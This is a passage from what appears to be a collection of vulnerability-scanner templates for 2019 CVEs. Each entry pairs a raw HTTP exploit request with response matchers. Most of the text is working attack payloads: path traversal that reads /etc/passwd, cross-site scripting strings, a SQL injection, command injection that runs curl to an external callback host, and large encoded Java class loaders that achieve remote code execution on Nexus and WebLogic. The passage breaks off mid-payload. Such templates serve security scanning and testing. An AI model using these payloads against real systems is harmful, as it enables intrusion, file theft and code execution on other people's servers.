200,300 and 500 Series Switches - Open Redirect","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: interact.sh\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"server","words":["GoAhead-Webs"]},{"type":"regex","part":"header","regex":["(?i)Location:\\shttps?:\\/\\/interact\\.sh/cs[\\w]+/"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2019-14530","info":{"name":"OpenEMR <5.0.2 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1\n","GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["filename=passwd"]},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-8937","info":{"name":"HotelDruid 2.3.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16057","info":{"name":"D-Link DNS-320 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username="],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_all(body, \"uid=\", \"gid=\", \"pwd&id\")"],"condition":"and"}]}]},{"id":"CVE-2019-10758","info":{"name":"mongo-express Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /checkValid HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic YWRtaW46cGFzcw==\nContent-Type: application/x-www-form-urlencoded\n\ndocument=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"curl {{interactsh-url}}\")\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-10098","info":{"name":"Apache HTTP server v2.4.0 to v2.4.39 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/http%3A%2F%2Fwww.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2019-9978","info":{"name":"WordPress Social Warfare <3.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/social-warfare/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Social Warfare"]}]},{"raw":["GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-19781","info":{"name":"Citrix ADC and Gateway - Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/vpn/../vpns/cfg/smb.conf"],"matchers-condition":"and","matchers":[{"type":"word","words":["[global]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7481","info":{"name":"SonicWall SRA 4600 VPN - SQL Injection","severity":"high"},"requests":[{"raw":["POST /cgi-bin/supportInstaller HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: identity\nUser-Agent: MSIE\nContent-Type: application/x-www-form-urlencoded\n\nfromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0--\n"],"matchers":[{"type":"word","part":"body","words":["4220397236"]}]}]},{"id":"CVE-2019-15713","info":{"name":"WordPress My Calendar <= 3.1.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["My Calendar","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12962","info":{"name":"LiveZilla Server 8.0.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mobile/index.php"],"headers":{"Accept-Language":";alert(document.domain)//"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var detectedLanguage = ';alert(document.domain)//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15043","info":{"name":"Grafana - Improper Access Control","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/api/snapshots"],"body":"{\"dashboard\": {\"name\":\"{{payload}}\"}}","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"deleteUrl\":","\"deleteKey\":","\"key\":","\"url\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-3929","info":{"name":"Barco/AWIND OEM Presentation Platform - Remote Command Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/cgi-bin/file_transfer.cgi"],"body":"file_transfer=new&dir=%27Pa_Noteexpr%20curl%2b{{interactsh-url}}Pa_Note%27","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-6793","info":{"name":"GitLab Enterprise Edition - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /-/jira/login/oauth/access_token HTTP/1.1\nHost: {{interactsh-url}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http","dns"]},{"type":"word","part":"body","words":["access_token="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-7238","info":{"name":"Sonatype Nexus Repository Manager <3.15.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /service/extdirect HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\n\n{\"action\": \"coreui_Component\", \"type\": \"rpc\", \"tid\": 8, \"data\": [{\"sort\": [{\"direction\": \"ASC\", \"property\": \"name\"}], \"start\": 0, \"filter\": [{\"property\": \"repositoryName\", \"value\": \"*\"}, {\"property\": \"expression\", \"value\": \"function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \\ndefineClass.setAccessible(true);\\nx=defineClass.invoke(\\n y,\\n 'Exploit.Test234',\\n z.getBytes('latin1'), 0,\\n 3054\\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\\n\"}, {\"property\": \"type\", \"value\": \"jexl\"}], \"limit\": 50, \"page\": 1}], \"method\": \"previewAssets\"}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-20210","info":{"name":"WordPress CTHthemes - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","/wp-content/themes/citybook"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-6715","info":{"name":"W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal","severity":"high"},"requests":[{"raw":["PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"Type\":\"SubscriptionConfirmation\",\"Message\":\"\",\"SubscribeURL\":\"https://rfi.nessus.org/rfi.txt\"}\n"],"matchers":[{"type":"word","part":"body","words":["TmVzc3VzQ29kZUV4ZWNUZXN0"]}]}]},{"id":"CVE-2019-9955","info":{"name":"Zyxel - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?mp_idx=%22;alert(%271%27);//"],"matchers":[{"type":"word","part":"body","words":["\";alert('1');//","Welcome"],"condition":"and"}]}]},{"id":"CVE-2019-12593","info":{"name":"IceWarp Mail Server <=10.4.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini","{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd"],"matchers-condition":"and","matchers":[{"type":"word","words":["[intl]","root:x:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12581","info":{"name":"Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/free_time_failed.cgi?err_msg="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Please contact with administrator."],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-18393","info":{"name":"Ignite Realtime Openfire <4.42 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/search/..\\..\\..\\conf\\openfire.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["org.jivesoftware.database.EmbeddedConnectionProvider","Most properties are stored in the Openfire database"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14470","info":{"name":"WordPress UserPro 4.9.32 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/userpro/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(1)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15859","info":{"name":"Socomec DIRIS A-40 Devices Password Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/password.jsn"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/json"]},{"type":"word","part":"body","words":["username","password"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-2725","info":{"name":"Oracle WebLogic Server - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nContent-Type: text/xml\ncmd: id\n\noracle.toplink.internal.sessions.UnitOfWorkChangeSet-84-19051151140231069711897461171161051084676105110107101100729711510483101116-40108-4190-107-35423020012011401710697118974611711610510846729711510483101116-7068-123-107-106-72-735230012011211912000166364000002115114058991111094611511711046111114103469711297991041014612097108971104610511011610111411097108461201151081169946116114971204684101109112108971161011157310911210898779-63110-84-855130973013951051101001011101167811710998101114730149511611497110115108101116731101001011209002195117115101831011141181059910111577101991049711010511510976025959799991011151156912011610111411097108831161211081011151041011011161160187610697118974710897110103478311611410511010359760119597117120671089711511510111511605976991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947114117110116105109101477297115104116979810810159910109598121116101991111001011151160391916691069599108971151151160189176106971189747108971101034767108971151155976059511097109101113012604760179511111711611211711680114111112101114116105101115116022761069711897471171161051084780114111112101114116105101115591201120000-1-1-1-1011603971081081121171140391916675-32521103103-37552001201120002117114029166-84-1323-86884-32200120112001429-54-2-70-66000500-70100303470-727037703810161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015-8332-109-13-111-35-176210660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151019831161179884114971101151081011168097121108111971001012731101101011146710897115115101115105376121115111115101114105971084711297121108111971001154711711610510847719710010310111611536831161179884114971101151081011168097121108111971005910911611497110115102111114109101144076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977599176991111094711511711047111114103479711297991041014712010910847105110116101114110971084711510111410597108105122101114478310111410597108105122971161051111107297110100108101114594186108100111991171091011101161045769911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699476879775910810497110100108101114115106691769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910106912099101112116105111110115703910-904076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977597699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145941861081051161011149711611111410537699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459107104971101001081011141065769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910108311111711499101701051081011012719710010310111611546106971189712010011704010511211151111151011141059710847112971211081119710011547117116105108477197100103101116115368311611798841149711011510810111680971211081119710010649911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699471141171101161051091014765981151161149799116841149711011510810111610201069711897471051114783101114105971081051229798108101105799111109471151171104711111410347971129799104101471209710897110471051101161011141109710847120115108116994784114971101151081011166912099101112116105111110103112111511111510111410597108471129712110811197100115471171161051084771971001031011161151086099108105110105116621016106971189747108971101034784104114101971007042101399117114114101110116841041141019710010204041761069711897471089711010347841041141019710059120440451004304610271191019810811110310599471191111141074769120101991171161018410411410197100704810141031011166711711411410111011687111114107102940417611910198108111103105994711911111410747871111141076510097112116101114591205005110049052104411910198108111103105994711510111411810810111647105110116101114110971084783101114118108101116821011131171011151167310911210870541039910910080561091031011167210197100101114103840761069711897471089711010347831161141051101035941761069711897471089711010347831161141051101035912058059100550601011103101116821011151121111101151011049404176119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011168210111511211111011510173109112108591206206310055064103716675806610451191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111682101115112111110115101731091121087068102011510111667104971149799116101114691109911110010511010310214076106971189747108971101034783116114105110103594186120700711006907210221031011168310111411810810111679117116112117116831161141019710910534041761191019810811110310599471151011141181081011164710511011610111411097108478310111411810810111679117116112117116831161141019710973109112108591207407510069076103511910198108111103105994712010910847117116105108478311611410511010373110112117116831161141019710970781022106971189747108971101034783116114105110103661171021021011147080100810341069711211210111010010444076106971189747108971101034783116114105110103594176106971189747108971101034783116114105110103661171021021011145912083084100810851053258321310808710811611183116114105110103102040417610697118974710897110103478311611410511010359120890901008109112010071100790931049119101981081111031059947115101114118108101116471051101161011141109710847831011141181081011167911711611211711683116114101971097310911210870951011119114105116101831161141019710910244076106971189747105111477311011211711683116114101971095941861209709810096099105102108117115104120101011100960102107111115461109710910180104101610697118974710897110103478312111511610110970106101110310111680114111112101114116121120108059100107010910161069711897471089711010347831161141051101037011110111161117611111910111467971151011201130901001120114103119105110801161089911111011697105110115102740761069711897471089711010347671049711483101113117101110991015941901201180119100112012010171069711897471089711010347821171101161051091017012210101031011168211711011610510910110214041761069711897471089711010347821171101161051091015912012401251001230126107991091003247993280-12810410112010199103940761069711897471089711010347831161141051101035941761069711897471089711010347801141119910111511559120-1260-1251001230-12410114798105110471151043245993280-12210221069711897471051114766117102102101114101100821019710010111470-120102510697118974710511147731101121171168311611410197109821019710010111470-11810171069711897471089711010347801141119910111511570-116101410310111673110112117116831161141019710910234041761069711897471051114773110112117116831161141019710959120-1140-113100-1150-11210424076106971189747105111477311011211711683116114101971095976106971189747108971101034783116114105110103594186120100-110100-1170-10910194076106971189747105111478210197100101114594186120100-107100-1190-10610080-1041081141019710076105110101120-102090100-1190-10110910310111687114105116101114102340417610697118974710511147801141051101168711410511610111459120-990-98100690-97101910697118974710511147801141051101168711410511610111470-95105119114105116101120-93071100-940-9210191069711897471089711010347691209910111211610511111070-901031111171161021761069711897471051114780114105110116831161141019710959120-880-87901070-861019106971189747108971101034784104114111119979810810170-84100-8309110191069711897471051114780114105110116831161141019710970-81107112114105110116108110120-79071100-800-781015112114105110116831169799107841149799101120-76011100-830-751013831169799107779711284979810810110291211151111151011141059710847801191101011145253525156514952505556575750103176121115111115101114105971084780119110101114525352515651495250555657575059033020301040102605060107000208040101001101012000470101000542-7301-79000201300060100047014000120100050150-710001019020020120006300030001-79000201300060100052014000320300010150-710000010210220100010230240202500040102601019027020120007300040001-79000201300060100056014000420400010150-710000010210220100010280290200010300310302500040102608041011010120011140701100118-8903176-72047-64049-74053-640551857-7406177-72047-64049-74053-64055-7406578451867-7407345-74077584254-6907989-6908189-7308244-740861888-74086-74092-73094-740100254-74010318105-7201105852551-91016255-74011518117-740121-10206-89033-720127-6908189-7308218-127-7408644-74086-74092-740-123586-89030-720127-6908189-7308218-121-7408644-74086-74092-740-123586-690-11989-690-11789256-740-1111867-730-108-730-105587158818-103589-89025-6908189-73082259-74086258-74086-74092589257-740-100895881-90-1-3145-740-96259-740-91-890245810-780-852510-740-82-740-772510-740-74-8903-79010940-70-40-89010-7300070093-10109060570112706970967011200229-402670-115-203270-119701127011221-102306057011270697096701120170-8920020320002033017000100102035016091171130126013001-44-54-2-70-6600050027100302170237024702510161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015113-26105-1860109712410660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151037011111110127311011010111467108971151151011151037761211151111151011141059710847112971211081119710011547117116105108477197100103101116115367011111159101083111117114991017010510810110127197100103101116115461069711897120100117026103512111511111510111410597108471129712110811197100115471171161051084771971001031011161153670111111101610697118974710897110103477998106101991161020106971189747105111478310111410597108105122979810810110311211151111151011141059710847112971211081119710011547117116105108477197100103101116115033020301040102605060107000208010101001101012000470101000542-7301-79000201300060100060014000120100050150180002019000202001700010010202201609112116048011911011411211910120115125000102910697118971204612010910846116114971101151021111141094684101109112108971161011151201140231069711897461089711010346114101102108101991164680114111120121-3139-3832-521667-53201760110411603776106971189747108971101034711410110210810199116477311011811199971161051111107297110100108101114591201121151140501151171104611410110210810199116469711011011111697116105111110466511011011111697116105111110731101181119997116105111110729711010010810111485-54-111521-53126-912027601210910110998101114869710811710111511601576106971189747117116105108477797112597604116121112101116017761069711897471089711010347671089711511559120112115114017106971189746117116105108467297115104779711257-38-63-612296-47302700101081119710070979911611111473091161041141011151041111081001201126364000001211980001600011160810253975397544856113012609120118114029106971189712046120109108461161149711011510211111410946841011091121089711610111500000000000120112120\n","POST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nContent-Type: text/xml\n\nxxxxorg.slf4j.ext.EventDatayv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwA